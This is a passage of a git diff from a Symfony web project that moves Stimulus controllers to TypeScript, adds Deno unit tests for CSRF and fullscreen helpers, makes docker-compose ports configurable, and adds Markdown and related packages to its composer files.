||||||
|
Deno.test('generateCsrfHeaders returns the cookie-name/token header when both are valid', () => {
|
||||||
|
const token = 'b'.repeat(24);
|
||||||
|
const field = fakeField({
|
||||||
|
'data-csrf-protection-cookie-value': 'field_name',
|
||||||
|
}, token);
|
||||||
|
|
||||||
|
assertEquals(generateCsrfHeaders(fakeForm(field)), { field_name: token });
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('generateCsrfHeaders omits the header when the token is too short', () => {
|
||||||
|
const field = fakeField({
|
||||||
|
'data-csrf-protection-cookie-value': 'field_name',
|
||||||
|
}, 'too-short');
|
||||||
|
|
||||||
|
assertEquals(generateCsrfHeaders(fakeForm(field)), {});
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('removeCsrfToken expires the cookie for a valid token/cookie pair', () => {
|
||||||
|
cookieJar = '';
|
||||||
|
const token = 'c'.repeat(24);
|
||||||
|
const field = fakeField({
|
||||||
|
'data-csrf-protection-cookie-value': 'field_name',
|
||||||
|
}, token);
|
||||||
|
|
||||||
|
removeCsrfToken(fakeForm(field));
|
||||||
|
|
||||||
|
assertMatch(cookieJar, new RegExp(`field_name_${token}=0`));
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('removeCsrfToken does nothing without a csrf field', () => {
|
||||||
|
cookieJar = '';
|
||||||
|
removeCsrfToken(fakeForm(null));
|
||||||
|
assertEquals(cookieJar, '');
|
||||||
|
});
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
import {Controller} from '@hotwired/stimulus';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
next() {
|
|
||||||
const currentUrl = new URL(window.location.href);
|
|
||||||
const pathParts = currentUrl.pathname.split('/');
|
|
||||||
// Remove the last segment
|
|
||||||
pathParts.pop();
|
|
||||||
// Update the pathname
|
|
||||||
currentUrl.pathname = pathParts.join('/');
|
|
||||||
// Navigate
|
|
||||||
window.location.href = currentUrl.href;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
import { Controller } from '@hotwired/stimulus';
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
next(): void {
|
||||||
|
const currentUrl = new URL(window.location.href);
|
||||||
|
const pathParts = currentUrl.pathname.split('/');
|
||||||
|
// Remove the last segment
|
||||||
|
pathParts.pop();
|
||||||
|
// Update the pathname
|
||||||
|
currentUrl.pathname = pathParts.join('/');
|
||||||
|
// Navigate
|
||||||
|
window.location.href = currentUrl.href;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,40 +0,0 @@
|
|||||||
import {Controller} from '@hotwired/stimulus';
|
|
||||||
|
|
||||||
const STORAGE_KEY = 'tvdt-fullscreen';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
connect() {
|
|
||||||
this.onFullscreenChange = this.onFullscreenChange.bind(this);
|
|
||||||
document.addEventListener('fullscreenchange', this.onFullscreenChange);
|
|
||||||
this.syncState();
|
|
||||||
|
|
||||||
if (sessionStorage.getItem(STORAGE_KEY) === '1' && !document.fullscreenElement) {
|
|
||||||
this.request();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
disconnect() {
|
|
||||||
document.removeEventListener('fullscreenchange', this.onFullscreenChange);
|
|
||||||
}
|
|
||||||
|
|
||||||
toggle() {
|
|
||||||
if (document.fullscreenElement) {
|
|
||||||
document.exitFullscreen();
|
|
||||||
} else {
|
|
||||||
this.request();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
request() {
|
|
||||||
document.documentElement.requestFullscreen().catch(() => {});
|
|
||||||
}
|
|
||||||
|
|
||||||
onFullscreenChange() {
|
|
||||||
sessionStorage.setItem(STORAGE_KEY, document.fullscreenElement ? '1' : '0');
|
|
||||||
this.syncState();
|
|
||||||
}
|
|
||||||
|
|
||||||
syncState() {
|
|
||||||
document.documentElement.classList.toggle('is-fullscreen', Boolean(document.fullscreenElement));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
import { Controller } from '@hotwired/stimulus';
|
||||||
|
|
||||||
|
const STORAGE_KEY = 'tvdt-fullscreen';
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
connect(): void {
|
||||||
|
document.addEventListener('fullscreenchange', this.onFullscreenChange);
|
||||||
|
this.syncState();
|
||||||
|
|
||||||
|
if (
|
||||||
|
sessionStorage.getItem(STORAGE_KEY) === '1' &&
|
||||||
|
!document.fullscreenElement
|
||||||
|
) {
|
||||||
|
this.request();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
disconnect(): void {
|
||||||
|
document.removeEventListener(
|
||||||
|
'fullscreenchange',
|
||||||
|
this.onFullscreenChange,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
toggle(): void {
|
||||||
|
if (document.fullscreenElement) {
|
||||||
|
document.exitFullscreen();
|
||||||
|
} else {
|
||||||
|
this.request();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
request(): void {
|
||||||
|
document.documentElement.requestFullscreen().catch(() => {});
|
||||||
|
}
|
||||||
|
|
||||||
|
onFullscreenChange = (): void => {
|
||||||
|
sessionStorage.setItem(
|
||||||
|
STORAGE_KEY,
|
||||||
|
document.fullscreenElement ? '1' : '0',
|
||||||
|
);
|
||||||
|
this.syncState();
|
||||||
|
};
|
||||||
|
|
||||||
|
syncState(): void {
|
||||||
|
document.documentElement.classList.toggle(
|
||||||
|
'is-fullscreen',
|
||||||
|
Boolean(document.fullscreenElement),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,75 @@
|
|||||||
|
import { assertEquals } from '@std/assert';
|
||||||
|
|
||||||
|
// Stimulus's Controller base class constructor only does `this.context = context`
|
||||||
|
// (see @hotwired/stimulus dist/stimulus.js), and none of this controller's methods
|
||||||
|
// touch Stimulus-specific getters (element/scope/targets), so a plain `{}` context
|
||||||
|
// is enough to construct a real instance. `document`/`sessionStorage` are stubbed
|
||||||
|
// since Deno has no browser DOM.
|
||||||
|
class FakeClassList {
|
||||||
|
classes = new Set<string>();
|
||||||
|
toggle(name: string, force?: boolean) {
|
||||||
|
const shouldAdd = force ?? !this.classes.has(name);
|
||||||
|
if (shouldAdd) this.classes.add(name);
|
||||||
|
else this.classes.delete(name);
|
||||||
|
}
|
||||||
|
contains(name: string) {
|
||||||
|
return this.classes.has(name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const classList = new FakeClassList();
|
||||||
|
let fullscreenElement: unknown = null;
|
||||||
|
const sessionStore = new Map<string, string>();
|
||||||
|
|
||||||
|
// deno-lint-ignore no-explicit-any
|
||||||
|
(globalThis as any).document = {
|
||||||
|
documentElement: { classList },
|
||||||
|
get fullscreenElement() {
|
||||||
|
return fullscreenElement;
|
||||||
|
},
|
||||||
|
addEventListener: () => {},
|
||||||
|
removeEventListener: () => {},
|
||||||
|
};
|
||||||
|
// Deno defines a native `sessionStorage` accessor on globalThis (get/set pair), so a
|
||||||
|
// plain assignment would just call through to it instead of replacing it — redefine
|
||||||
|
// the property outright.
|
||||||
|
Object.defineProperty(globalThis, 'sessionStorage', {
|
||||||
|
value: {
|
||||||
|
getItem: (key: string) => sessionStore.get(key) ?? null,
|
||||||
|
setItem: (key: string, value: string) => sessionStore.set(key, value),
|
||||||
|
},
|
||||||
|
configurable: true,
|
||||||
|
});
|
||||||
|
|
||||||
|
const { default: FullscreenController } = await import(
|
||||||
|
'./fullscreen_controller.ts'
|
||||||
|
);
|
||||||
|
|
||||||
|
// deno-lint-ignore no-explicit-any
|
||||||
|
function makeController(): any {
|
||||||
|
return new FullscreenController({} as never);
|
||||||
|
}
|
||||||
|
|
||||||
|
Deno.test('syncState adds is-fullscreen when a fullscreen element is set', () => {
|
||||||
|
fullscreenElement = { tagName: 'HTML' };
|
||||||
|
makeController().syncState();
|
||||||
|
assertEquals(classList.contains('is-fullscreen'), true);
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('syncState removes is-fullscreen when there is no fullscreen element', () => {
|
||||||
|
fullscreenElement = null;
|
||||||
|
makeController().syncState();
|
||||||
|
assertEquals(classList.contains('is-fullscreen'), false);
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('onFullscreenChange persists the fullscreen state and syncs classes', () => {
|
||||||
|
fullscreenElement = { tagName: 'HTML' };
|
||||||
|
makeController().onFullscreenChange();
|
||||||
|
assertEquals(sessionStore.get('tvdt-fullscreen'), '1');
|
||||||
|
assertEquals(classList.contains('is-fullscreen'), true);
|
||||||
|
|
||||||
|
fullscreenElement = null;
|
||||||
|
makeController().onFullscreenChange();
|
||||||
|
assertEquals(sessionStore.get('tvdt-fullscreen'), '0');
|
||||||
|
assertEquals(classList.contains('is-fullscreen'), false);
|
||||||
|
});
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
import 'bootstrap/dist/css/bootstrap.min.css';
|
import 'bootstrap/dist/css/bootstrap.min.css';
|
||||||
import './styles/quiz.scss';
|
import './styles/quiz.scss';
|
||||||
import './stimulus.js';
|
import './stimulus.ts';
|
||||||
import './bootstrap.js';
|
import './bootstrap.ts';
|
||||||
@@ -1,3 +1,3 @@
|
|||||||
import { startStimulusApp } from '@symfony/stimulus-bundle';
|
import { startStimulusApp } from '@symfony/stimulus-bundle';
|
||||||
|
|
||||||
const app = startStimulusApp();
|
startStimulusApp();
|
||||||
@@ -3,3 +3,9 @@
|
|||||||
.col-result-md { width: 20%; }
|
.col-result-md { width: 20%; }
|
||||||
|
|
||||||
.modal-content > turbo-frame { display: contents; }
|
.modal-content > turbo-frame { display: contents; }
|
||||||
|
|
||||||
|
.release-notes {
|
||||||
|
overflow-wrap: break-word;
|
||||||
|
|
||||||
|
> :last-child { margin-bottom: 0; }
|
||||||
|
}
|
||||||
|
|||||||
Vendored
+11
@@ -0,0 +1,11 @@
|
|||||||
|
// Ambient declarations for the parts of the AssetMapper toolchain that Deno's
|
||||||
|
// module resolution doesn't otherwise understand: CSS/SCSS side-effect imports
|
||||||
|
// (handled by AssetMapper at build time, not a JS module) and the Symfony
|
||||||
|
// stimulus-bundle loader (a local vendor/ file, not an npm package).
|
||||||
|
|
||||||
|
declare module '*.css';
|
||||||
|
declare module '*.scss';
|
||||||
|
|
||||||
|
declare module '@symfony/stimulus-bundle' {
|
||||||
|
export function startStimulusApp(): unknown;
|
||||||
|
}
|
||||||
@@ -10,7 +10,7 @@ services:
|
|||||||
- ~/.composer/cache:/root/.composer/cache
|
- ~/.composer/cache:/root/.composer/cache
|
||||||
- ./frankenphp/Caddyfile:/etc/caddy/Caddyfile:ro
|
- ./frankenphp/Caddyfile:/etc/caddy/Caddyfile:ro
|
||||||
- ./frankenphp/conf.d/20-app.dev.ini:/usr/local/etc/php/app.conf.d/20-app.dev.ini:ro
|
- ./frankenphp/conf.d/20-app.dev.ini:/usr/local/etc/php/app.conf.d/20-app.dev.ini:ro
|
||||||
- ./frankenphp/data:/data
|
- ${CADDY_DATA_DIR:-./frankenphp/data}:/data
|
||||||
- sass:/app/var/sass
|
- sass:/app/var/sass
|
||||||
environment:
|
environment:
|
||||||
MERCURE_EXTRA_DIRECTIVES: demo
|
MERCURE_EXTRA_DIRECTIVES: demo
|
||||||
@@ -24,15 +24,15 @@ services:
|
|||||||
ports:
|
ports:
|
||||||
# HTTP
|
# HTTP
|
||||||
- target: 80
|
- target: 80
|
||||||
published: ${HTTP_PORT:-80}
|
published: ${HTTP_PORT:-8080}
|
||||||
protocol: tcp
|
protocol: tcp
|
||||||
# HTTPS
|
# HTTPS
|
||||||
- target: 443
|
- target: 443
|
||||||
published: ${HTTPS_PORT:-443}
|
published: ${HTTPS_PORT:-8443}
|
||||||
protocol: tcp
|
protocol: tcp
|
||||||
# HTTP/3
|
# HTTP/3
|
||||||
- target: 443
|
- target: 443
|
||||||
published: ${HTTP3_PORT:-443}
|
published: ${HTTPS_PORT:-8443}
|
||||||
protocol: udp
|
protocol: udp
|
||||||
sass:
|
sass:
|
||||||
image: ${IMAGES_PREFIX:-}app-php
|
image: ${IMAGES_PREFIX:-}app-php
|
||||||
@@ -56,7 +56,7 @@ services:
|
|||||||
###> doctrine/doctrine-bundle ###
|
###> doctrine/doctrine-bundle ###
|
||||||
database:
|
database:
|
||||||
ports:
|
ports:
|
||||||
- "5432:5432"
|
- "${POSTGRES_PORT:-5430}:5432"
|
||||||
###< doctrine/doctrine-bundle ###
|
###< doctrine/doctrine-bundle ###
|
||||||
|
|
||||||
###> symfony/mailer ###
|
###> symfony/mailer ###
|
||||||
@@ -64,7 +64,7 @@ services:
|
|||||||
image: axllent/mailpit
|
image: axllent/mailpit
|
||||||
ports:
|
ports:
|
||||||
- "1025"
|
- "1025"
|
||||||
- "8025:8025"
|
- "${MAILPIT_PORT:-8025}:8025"
|
||||||
environment:
|
environment:
|
||||||
MP_SMTP_AUTH_ACCEPT_ANY: 1
|
MP_SMTP_AUTH_ACCEPT_ANY: 1
|
||||||
MP_SMTP_AUTH_ALLOW_INSECURE: 1
|
MP_SMTP_AUTH_ALLOW_INSECURE: 1
|
||||||
@@ -73,7 +73,7 @@ services:
|
|||||||
spotlight:
|
spotlight:
|
||||||
image: ghcr.io/getsentry/spotlight:latest
|
image: ghcr.io/getsentry/spotlight:latest
|
||||||
ports:
|
ports:
|
||||||
- "8969:8969"
|
- "${SPOTLIGHT_PORT:-8969}:8969"
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
sass:
|
sass:
|
||||||
|
|||||||
@@ -9,14 +9,18 @@
|
|||||||
"php": ">=8.5",
|
"php": ">=8.5",
|
||||||
"ext-ctype": "*",
|
"ext-ctype": "*",
|
||||||
"ext-iconv": "*",
|
"ext-iconv": "*",
|
||||||
|
"ext-intl": "*",
|
||||||
|
"ext-zip": "*",
|
||||||
"doctrine/dbal": "^4.4.3",
|
"doctrine/dbal": "^4.4.3",
|
||||||
"doctrine/doctrine-bundle": "^3.2.2",
|
"doctrine/doctrine-bundle": "^3.2.2",
|
||||||
"doctrine/doctrine-migrations-bundle": "^4.0",
|
"doctrine/doctrine-migrations-bundle": "^4.0",
|
||||||
"doctrine/orm": "^3.6.2",
|
"doctrine/orm": "^3.6.2",
|
||||||
|
"league/commonmark": "^2.7",
|
||||||
"martin-georgiev/postgresql-for-doctrine": "^4.4",
|
"martin-georgiev/postgresql-for-doctrine": "^4.4",
|
||||||
"phpdocumentor/reflection-docblock": "^6.0.3",
|
"phpdocumentor/reflection-docblock": "^6.0.3",
|
||||||
"phpoffice/phpspreadsheet": "^5.5",
|
"phpoffice/phpspreadsheet": "^5.5",
|
||||||
"phpstan/phpdoc-parser": "^2.3.2",
|
"phpstan/phpdoc-parser": "^2.3.2",
|
||||||
|
"sensiolabs/typescript-bundle": "^0.2.2",
|
||||||
"sentry/sentry-symfony": "^5.9.0",
|
"sentry/sentry-symfony": "^5.9.0",
|
||||||
"stof/doctrine-extensions-bundle": "^1.15.3",
|
"stof/doctrine-extensions-bundle": "^1.15.3",
|
||||||
"symfony/asset": "8.1.*",
|
"symfony/asset": "8.1.*",
|
||||||
@@ -27,10 +31,12 @@
|
|||||||
"symfony/flex": "^2.11.0",
|
"symfony/flex": "^2.11.0",
|
||||||
"symfony/form": "8.1.*",
|
"symfony/form": "8.1.*",
|
||||||
"symfony/framework-bundle": "8.1.*",
|
"symfony/framework-bundle": "8.1.*",
|
||||||
|
"symfony/http-client": "8.1.*",
|
||||||
"symfony/mailer": "8.1.*",
|
"symfony/mailer": "8.1.*",
|
||||||
"symfony/object-mapper": "8.1.*",
|
"symfony/object-mapper": "8.1.*",
|
||||||
"symfony/property-access": "8.1.*",
|
"symfony/property-access": "8.1.*",
|
||||||
"symfony/property-info": "8.1.*",
|
"symfony/property-info": "8.1.*",
|
||||||
|
"symfony/rate-limiter": "8.1.*",
|
||||||
"symfony/runtime": "8.1.*",
|
"symfony/runtime": "8.1.*",
|
||||||
"symfony/security-bundle": "8.1.*",
|
"symfony/security-bundle": "8.1.*",
|
||||||
"symfony/security-csrf": "8.1.*",
|
"symfony/security-csrf": "8.1.*",
|
||||||
@@ -48,6 +54,7 @@
|
|||||||
"thecodingmachine/safe": "^3.4.0",
|
"thecodingmachine/safe": "^3.4.0",
|
||||||
"twig/extra-bundle": "^3.24.0",
|
"twig/extra-bundle": "^3.24.0",
|
||||||
"twig/intl-extra": "^3.24.0",
|
"twig/intl-extra": "^3.24.0",
|
||||||
|
"twig/markdown-extra": "^3.24.0",
|
||||||
"twig/twig": "^3.27.1"
|
"twig/twig": "^3.27.1"
|
||||||
},
|
},
|
||||||
"require-dev": {
|
"require-dev": {
|
||||||
|
|||||||
Generated
+634
-8
@@ -4,7 +4,7 @@
|
|||||||
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
|
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
|
||||||
"This file is @generated automatically"
|
"This file is @generated automatically"
|
||||||
],
|
],
|
||||||
"content-hash": "ccae654dd9c952e8920d9cb9c0f35ff5",
|
"content-hash": "8be25e3d256bbcc2d3c36cecac47feed",
|
||||||
"packages": [
|
"packages": [
|
||||||
{
|
{
|
||||||
"name": "composer/pcre",
|
"name": "composer/pcre",
|
||||||
@@ -159,6 +159,81 @@
|
|||||||
],
|
],
|
||||||
"time": "2025-08-20T19:15:30+00:00"
|
"time": "2025-08-20T19:15:30+00:00"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "dflydev/dot-access-data",
|
||||||
|
"version": "v3.0.3",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/dflydev/dflydev-dot-access-data.git",
|
||||||
|
"reference": "a23a2bf4f31d3518f3ecb38660c95715dfead60f"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/dflydev/dflydev-dot-access-data/zipball/a23a2bf4f31d3518f3ecb38660c95715dfead60f",
|
||||||
|
"reference": "a23a2bf4f31d3518f3ecb38660c95715dfead60f",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"php": "^7.1 || ^8.0"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"phpstan/phpstan": "^0.12.42",
|
||||||
|
"phpunit/phpunit": "^7.5 || ^8.5 || ^9.3",
|
||||||
|
"scrutinizer/ocular": "1.6.0",
|
||||||
|
"squizlabs/php_codesniffer": "^3.5",
|
||||||
|
"vimeo/psalm": "^4.0.0"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"extra": {
|
||||||
|
"branch-alias": {
|
||||||
|
"dev-main": "3.x-dev"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"autoload": {
|
||||||
|
"psr-4": {
|
||||||
|
"Dflydev\\DotAccessData\\": "src/"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"MIT"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "Dragonfly Development Inc.",
|
||||||
|
"email": "info@dflydev.com",
|
||||||
|
"homepage": "http://dflydev.com"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Beau Simensen",
|
||||||
|
"email": "beau@dflydev.com",
|
||||||
|
"homepage": "http://beausimensen.com"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Carlos Frutos",
|
||||||
|
"email": "carlos@kiwing.it",
|
||||||
|
"homepage": "https://github.com/cfrutos"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Colin O'Dell",
|
||||||
|
"email": "colinodell@gmail.com",
|
||||||
|
"homepage": "https://www.colinodell.com"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "Given a deep data structure, access data by dot notation.",
|
||||||
|
"homepage": "https://github.com/dflydev/dflydev-dot-access-data",
|
||||||
|
"keywords": [
|
||||||
|
"access",
|
||||||
|
"data",
|
||||||
|
"dot",
|
||||||
|
"notation"
|
||||||
|
],
|
||||||
|
"support": {
|
||||||
|
"issues": "https://github.com/dflydev/dflydev-dot-access-data/issues",
|
||||||
|
"source": "https://github.com/dflydev/dflydev-dot-access-data/tree/v3.0.3"
|
||||||
|
},
|
||||||
|
"time": "2024-07-08T12:26:09+00:00"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "doctrine/collections",
|
"name": "doctrine/collections",
|
||||||
"version": "2.6.0",
|
"version": "2.6.0",
|
||||||
@@ -1652,6 +1727,195 @@
|
|||||||
},
|
},
|
||||||
"time": "2025-03-19T14:43:43+00:00"
|
"time": "2025-03-19T14:43:43+00:00"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "league/commonmark",
|
||||||
|
"version": "2.8.3",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/thephpleague/commonmark.git",
|
||||||
|
"reference": "1902f60f984235023acbe03db6ad614a37b3c3e7"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/thephpleague/commonmark/zipball/1902f60f984235023acbe03db6ad614a37b3c3e7",
|
||||||
|
"reference": "1902f60f984235023acbe03db6ad614a37b3c3e7",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"ext-mbstring": "*",
|
||||||
|
"league/config": "^1.1.1",
|
||||||
|
"php": "^7.4 || ^8.0",
|
||||||
|
"psr/event-dispatcher": "^1.0",
|
||||||
|
"symfony/deprecation-contracts": "^2.1 || ^3.0",
|
||||||
|
"symfony/polyfill-php80": "^1.16"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"cebe/markdown": "^1.0",
|
||||||
|
"commonmark/cmark": "0.31.1",
|
||||||
|
"commonmark/commonmark.js": "0.31.1",
|
||||||
|
"composer/package-versions-deprecated": "^1.8",
|
||||||
|
"embed/embed": "^4.4",
|
||||||
|
"erusev/parsedown": "^1.0",
|
||||||
|
"ext-json": "*",
|
||||||
|
"github/gfm": "0.29.0",
|
||||||
|
"michelf/php-markdown": "^1.4 || ^2.0",
|
||||||
|
"nyholm/psr7": "^1.5",
|
||||||
|
"phpstan/phpstan": "^2.0.0",
|
||||||
|
"phpunit/phpunit": "^9.5.21 || ^10.5.9 || ^11.0.0 || ^12.0.0 || ^13.0.0",
|
||||||
|
"scrutinizer/ocular": "^1.8.1",
|
||||||
|
"symfony/finder": "^5.3 | ^6.0 | ^7.0 || ^8.0",
|
||||||
|
"symfony/process": "^5.4 | ^6.0 | ^7.0 || ^8.0",
|
||||||
|
"symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0 || ^8.0",
|
||||||
|
"unleashedtech/php-coding-standard": "^3.1.1",
|
||||||
|
"vimeo/psalm": "^4.24.0 || ^5.0.0 || ^6.0.0"
|
||||||
|
},
|
||||||
|
"suggest": {
|
||||||
|
"symfony/yaml": "v2.3+ required if using the Front Matter extension"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"extra": {
|
||||||
|
"branch-alias": {
|
||||||
|
"dev-main": "2.9-dev"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"autoload": {
|
||||||
|
"psr-4": {
|
||||||
|
"League\\CommonMark\\": "src"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"BSD-3-Clause"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "Colin O'Dell",
|
||||||
|
"email": "colinodell@gmail.com",
|
||||||
|
"homepage": "https://www.colinodell.com",
|
||||||
|
"role": "Lead Developer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "Highly-extensible PHP Markdown parser which fully supports the CommonMark spec and GitHub-Flavored Markdown (GFM)",
|
||||||
|
"homepage": "https://commonmark.thephpleague.com",
|
||||||
|
"keywords": [
|
||||||
|
"commonmark",
|
||||||
|
"flavored",
|
||||||
|
"gfm",
|
||||||
|
"github",
|
||||||
|
"github-flavored",
|
||||||
|
"markdown",
|
||||||
|
"md",
|
||||||
|
"parser"
|
||||||
|
],
|
||||||
|
"support": {
|
||||||
|
"docs": "https://commonmark.thephpleague.com/",
|
||||||
|
"forum": "https://github.com/thephpleague/commonmark/discussions",
|
||||||
|
"issues": "https://github.com/thephpleague/commonmark/issues",
|
||||||
|
"rss": "https://github.com/thephpleague/commonmark/releases.atom",
|
||||||
|
"source": "https://github.com/thephpleague/commonmark"
|
||||||
|
},
|
||||||
|
"funding": [
|
||||||
|
{
|
||||||
|
"url": "https://www.colinodell.com/sponsor",
|
||||||
|
"type": "custom"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://www.paypal.me/colinpodell/10.00",
|
||||||
|
"type": "custom"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://github.com/colinodell",
|
||||||
|
"type": "github"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://tidelift.com/funding/github/packagist/league/commonmark",
|
||||||
|
"type": "tidelift"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"time": "2026-07-12T15:29:16+00:00"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "league/config",
|
||||||
|
"version": "v1.2.0",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/thephpleague/config.git",
|
||||||
|
"reference": "754b3604fb2984c71f4af4a9cbe7b57f346ec1f3"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/thephpleague/config/zipball/754b3604fb2984c71f4af4a9cbe7b57f346ec1f3",
|
||||||
|
"reference": "754b3604fb2984c71f4af4a9cbe7b57f346ec1f3",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"dflydev/dot-access-data": "^3.0.1",
|
||||||
|
"nette/schema": "^1.2",
|
||||||
|
"php": "^7.4 || ^8.0"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"phpstan/phpstan": "^1.8.2",
|
||||||
|
"phpunit/phpunit": "^9.5.5",
|
||||||
|
"scrutinizer/ocular": "^1.8.1",
|
||||||
|
"unleashedtech/php-coding-standard": "^3.1",
|
||||||
|
"vimeo/psalm": "^4.7.3"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"extra": {
|
||||||
|
"branch-alias": {
|
||||||
|
"dev-main": "1.2-dev"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"autoload": {
|
||||||
|
"psr-4": {
|
||||||
|
"League\\Config\\": "src"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"BSD-3-Clause"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "Colin O'Dell",
|
||||||
|
"email": "colinodell@gmail.com",
|
||||||
|
"homepage": "https://www.colinodell.com",
|
||||||
|
"role": "Lead Developer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "Define configuration arrays with strict schemas and access values with dot notation",
|
||||||
|
"homepage": "https://config.thephpleague.com",
|
||||||
|
"keywords": [
|
||||||
|
"array",
|
||||||
|
"config",
|
||||||
|
"configuration",
|
||||||
|
"dot",
|
||||||
|
"dot-access",
|
||||||
|
"nested",
|
||||||
|
"schema"
|
||||||
|
],
|
||||||
|
"support": {
|
||||||
|
"docs": "https://config.thephpleague.com/",
|
||||||
|
"issues": "https://github.com/thephpleague/config/issues",
|
||||||
|
"rss": "https://github.com/thephpleague/config/releases.atom",
|
||||||
|
"source": "https://github.com/thephpleague/config"
|
||||||
|
},
|
||||||
|
"funding": [
|
||||||
|
{
|
||||||
|
"url": "https://www.colinodell.com/sponsor",
|
||||||
|
"type": "custom"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://www.paypal.me/colinpodell/10.00",
|
||||||
|
"type": "custom"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://github.com/colinodell",
|
||||||
|
"type": "github"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"time": "2022-12-11T20:36:23+00:00"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "maennchen/zipstream-php",
|
"name": "maennchen/zipstream-php",
|
||||||
"version": "3.2.2",
|
"version": "3.2.2",
|
||||||
@@ -1966,6 +2230,164 @@
|
|||||||
],
|
],
|
||||||
"time": "2026-07-01T18:17:39+00:00"
|
"time": "2026-07-01T18:17:39+00:00"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "nette/schema",
|
||||||
|
"version": "v1.3.5",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/nette/schema.git",
|
||||||
|
"reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/nette/schema/zipball/f0ab1a3cda782dbc5da270d28545236aa80c4002",
|
||||||
|
"reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"nette/utils": "^4.0",
|
||||||
|
"php": "8.1 - 8.5"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"nette/phpstan-rules": "^1.0",
|
||||||
|
"nette/tester": "^2.6",
|
||||||
|
